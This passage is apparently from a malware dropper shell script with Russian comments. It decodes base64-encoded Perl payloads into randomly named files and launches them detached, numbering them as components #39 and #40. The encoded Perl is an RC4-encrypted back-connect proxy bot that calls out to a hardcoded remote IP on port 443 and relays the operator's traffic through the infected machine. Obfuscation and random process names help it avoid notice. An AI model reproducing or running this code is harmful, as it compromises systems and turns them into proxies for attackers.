eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #39 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #39 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 40 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u 